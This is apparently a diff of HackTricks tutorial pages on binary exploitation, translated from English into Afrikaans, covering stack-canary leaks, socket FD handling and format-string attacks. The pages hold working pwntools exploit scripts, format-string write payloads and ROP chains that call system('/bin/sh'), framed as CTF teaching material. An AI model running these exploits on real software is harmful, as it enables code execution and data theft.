As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat die **TLS** gewoonlik deur **`mmap`** gestoor word en wanneer 'n **stapel** van **draad** geskep word, dit ook deur `mmap` gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe getoon.
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
## Other examples & references
## Ander voorbeelde & verwysings
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, geen PIE, nx, BF canary, skryf in 'n sekere geheue 'n ROP om `execve` aan te roep en daarheen te spring.

View File

@ -1,33 +1,33 @@
# Print Stack Canary
# Druk Stapel Kanarie
{{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack
## Vergroot gedrukte stapel
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Stel jou 'n situasie voor waar 'n **program kwesbaar** is vir stapel oorgang en 'n **puts** funksie kan uitvoer wat **wys** na **deel** van die **stapel oorgang**. Die aanvaller weet dat die **eerste byte van die kanarie 'n null byte is** (`\x00`) en die res van die kanarie is **ewekansige** bytes. Dan kan die aanvaller 'n oorgang skep wat die **stapel oorskryf tot net die eerste byte van die kanarie**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Dan **roep die aanvaller die puts funksionaliteit** in die middel van die payload wat **alle kanarie sal druk** (behalwe die eerste null byte).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
Met hierdie inligting kan die aanvaller **'n nuwe aanval saamstel en stuur** terwyl hy die kanarie ken (in die **dieselfde program sessie**).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Dit is duidelik dat hierdie taktiek baie **beperk** is aangesien die aanvaller in staat moet wees om die **inhoud** van sy **payload** te **druk** om die **kanarie** te **exfiltreer** en dan in staat te wees om 'n nuwe payload te skep (in die **dieselfde program sessie**) en die **werklike buffer oorgang** te **stuur**.
**CTF examples:**&#x20;
**CTF voorbeelde:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR geaktiveer maar geen PIE, die eerste stap is om 'n oorgang te vul tot die byte 0x00 van die kanarie om dan puts te roep en dit te lek. Met die kanarie word 'n ROP gadget geskep om puts te roep om die adres van puts van die GOT te lek en dan 'n ROP gadget om `system('/bin/sh')` te roep.
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 bit, ARM, geen relro, kanarie, nx, geen pie. Oorgang met 'n oproep na puts daarop om die kanarie te lek + ret2lib wat `system` met 'n ROP ketting roep om r0 (arg `/bin/sh`) en pc (adres van system) te pop.
## Arbitrary Read
## Arbitraire Lees
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
Met 'n **arbitraire lees** soos die een wat deur formaat **strings** verskaf word, mag dit moontlik wees om die kanarie te lek. Kyk na hierdie voorbeeld: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) en jy kan lees oor die misbruik van formaat strings om arbitraire geheue adresse te lees in:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Hierdie uitdaging misbruik op 'n baie eenvoudige manier 'n formaat string om die kanarie van die stapel te lees.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# Algemene Exploit Probleme
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## FD's in Afgeleë Exploitatie
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Wanneer 'n exploit na 'n afgeleë bediener gestuur word wat **`system('/bin/sh')`** aanroep, sal dit in die bedienerproses uitgevoer word, en `/bin/sh` sal insette van stdin (FD: `0`) verwag en die uitvoer in stdout en stderr (FD's `1` en `2`) druk. Die aanvaller sal dus nie met die shell kan interaksie hê nie.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
'n Manier om dit reg te stel, is om aan te neem dat wanneer die bediener begin het, dit die **FD nommer `3`** (vir luister) geskep het en dat jou verbinding dan in die **FD nommer `4`** gaan wees. Daarom is dit moontlik om die syscall **`dup2`** te gebruik om die stdin (FD 0) en die stdout (FD 1) in die FD 4 (die van die aanvaller se verbinding) te dupliseer, sodat dit moontlik sal wees om met die shell in kontak te tree sodra dit uitgevoer word.
[**Exploit voorbeeld van hier**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
Let daarop dat socat reeds **`stdin`** en **`stdout`** na die socket oordra. egter, die `pty` modus **sluit DELETE karakters in**. So, as jy 'n `\x7f` ( `DELETE` -) stuur, sal dit **die vorige karakter** van jou exploit **verwyder**.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Om dit te omseil, moet die **ontsnappingskarakter `\x16` voor enige `\x7f` wat gestuur word, geplaas word.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Hier kan jy** [**'n voorbeeld van hierdie gedrag vind**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,23 +1,17 @@
# Format Strings
# Formaat Strings
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
## Basiese Inligting
{% embed url="https://www.stmcyber.com/careers" %}
In C **`printf`** is 'n funksie wat gebruik kan word om **'n string te druk**. Die **eerste parameter** wat hierdie funksie verwag is die **rou teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** uit die rou teks te **vervang**.
## Basic Information
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
#### Formatters:
Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te skep wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier kan hulle **arbitraire kode uitvoer**.
#### Formateerders:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Voorbeelde:**
**Examples:**
- Vulnerable example:
- Kw vulnerable voorbeeld:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Normale Gebruik:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- Met Ontbrekende Argumente:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf kwesbaar:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Toegang tot Pointers**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de param van die stapel met printf wil lees, kan jy doen:
```c
printf("%x %x %x %x")
```
en jy sou van die eerste tot die vierde parameter lees.
and you would read from the first to the forth param.
Or you could do:
Of jy kan doen:
```c
printf("%4$x")
```
en lees direk die vierde.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> 'n Aanvaller wat hierdie invoer beheer, sal in staat wees om **arbitraire adresse in die stapel by te voeg en `printf` te laat toegang tot hulle**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Arbitraire Lees**
Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **adres** wat in die **n posisie** geleë is, te laat kry, dit te volg en **dit te druk asof dit 'n string is** (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre **`0x8048000`** is, en ons weet dat die gebruiker se invoer in die 4de posisie in die stapel begin, is dit moontlik om die begin van die binêre te druk met:
```python
from pwn import *
@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Let daarop dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres sal wees.
### Find offset
### Vind offset
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (`0x41414141`) stuur, gevolg deur **`%1$x`** en **verhoog** die waarde totdat jy die `A's` ontvang.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +103,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Hoe nuttig
Arbitrary reads can be useful to:
Arbitraire lees kan nuttig wees om:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** die **binarie** uit geheue
- **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of paswoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
## **Arbitraire Skrywe**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
Die formatter **`%<num>$n`** **skryf** die **aantal geskryfde bytes** in die **aangegeven adres** in die \<num> parameter in die stapel. As 'n aanvaller soveel karakters kan skryf as wat hy wil met printf, sal hy in staat wees om **`%<num>$n`** 'n arbitraire getal in 'n arbitraire adres te laat skryf.
Gelukkig, om die getal 9999 te skryf, is dit nie nodig om 9999 "A"s by die invoer te voeg nie; om dit te doen, is dit moontlik om die formatter **`%.<num-write>%<num>$n`** te gebruik om die getal **`<num-write>`** in die **adres aangedui deur die `num` posisie** te skryf.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Let wel, dit is gewoonlik nodig om 'n adres soos `0x08049724` (wat 'n GROOT getal is om in een keer te skryf) te skryf, **word `$hn`** gebruik in plaas van `$n`. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie operasie twee keer uitgevoer, een vir die hoogste 2B van die adres en 'n ander keer vir die laagste.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Hierdie kwesbaarheid maak dit moontlik om **enigiets in enige adres te skryf (arbitraire skryf).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
In hierdie voorbeeld is die doel om die **adres** van 'n **funksie** in die **GOT** tabel wat later aangeroep gaan word, te **oorwrite**. Alhoewel dit ander arbitraire skryf na exec tegnieke kan misbruik:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Ons gaan 'n **funksie** **oorwrite** wat sy **argumente** van die **gebruiker** **ontvang** en dit na die **`system`** **funksie** **wys**.\
Soos genoem, om die adres te skryf, is gewoonlik 2 stappe nodig: Jy **skryf eers 2Bytes** van die adres en dan die ander 2. Om dit te doen, word **`$hn`** gebruik.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB** word genoem vir die 2 hoogste bytes van die adres
- **LOB** word genoem vir die 2 laagste bytes van die adres
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Dan, as gevolg van hoe die formaat string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een.
If HOB < LOB\
As HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
As HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools-sjabloon
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Of hierdie basiese voorbeeld van [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -225,27 +197,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Formaat Strings na BOF
## Format Strings to BOF
Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbruik om **in adresse van die stapel te skryf** en 'n **buffer oorgeloop** tipe kwesbaarheid te ontgin.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 bit, geen relro, geen kanarie, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 bit, relro, geen kanarie, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example
# Formaat Strings - Arbitraire Lees Voorbeeld
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
### Code
## Lees Binêr Begin
### Kode
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
Kompileer dit met:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- Die **offset is 11** omdat die instelling van verskeie A's en **brute-forcing** met 'n lus offsets van 0 tot 50 gevind het dat by offset 11 en met 5 ekstra karakters (pype `|` in ons geval), dit moontlik is om 'n volle adres te beheer.
- Ek het **`%11$p`** gebruik met padding totdat ek sodat die adres heeltemal 0x4141414141414141 was.
- Die **format string payload is VOOR die adres** omdat die **printf ophou lees by 'n null byte**, so as ons die adres stuur en dan die format string, sal die printf nooit by die format string kom nie aangesien 'n null byte voorheen gevind sal word.
- Die adres wat gekies is, is 0x00400000 omdat dit is waar die binêre begin (geen PIE nie).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Lees wagwoorde
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Kompileer dit met:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Lees van die stapel
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
Die **`stack_password`** sal in die stapel gestoor word omdat dit 'n plaaslike veranderlike is, so net om printf te misbruik om die inhoud van die stapel te wys is genoeg. Dit is 'n exploit om die eerste 100 posisies te BF om die wagwoorde uit die stapel te lek:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
In die beeld is dit moontlik om die wagwoord vanaf die stapel in die `10de` posisie te lek:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Lees data
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
Deur dieselfde exploit te loop maar met `%p` in plaas van `%s`, is dit moontlik om 'n heap adres vanaf die stapel by `%25$p` te lek. Boonop, deur die gelekte adres (`0xaaaab7030894`) te vergelyk met die posisie van die wagwoord in geheue in daardie proses, kan ons die adres verskil verkry:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Nou is dit tyd om te vind hoe om 1 adres in die stapel te beheer om dit vanaf die tweede formaat string kwesbaarheid te benader:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
En dit is moontlik om dit te sien in die **try 14** met die gebruikte passing waar ons 'n adres kan beheer:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
# Formaat Strings Sjabloon
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
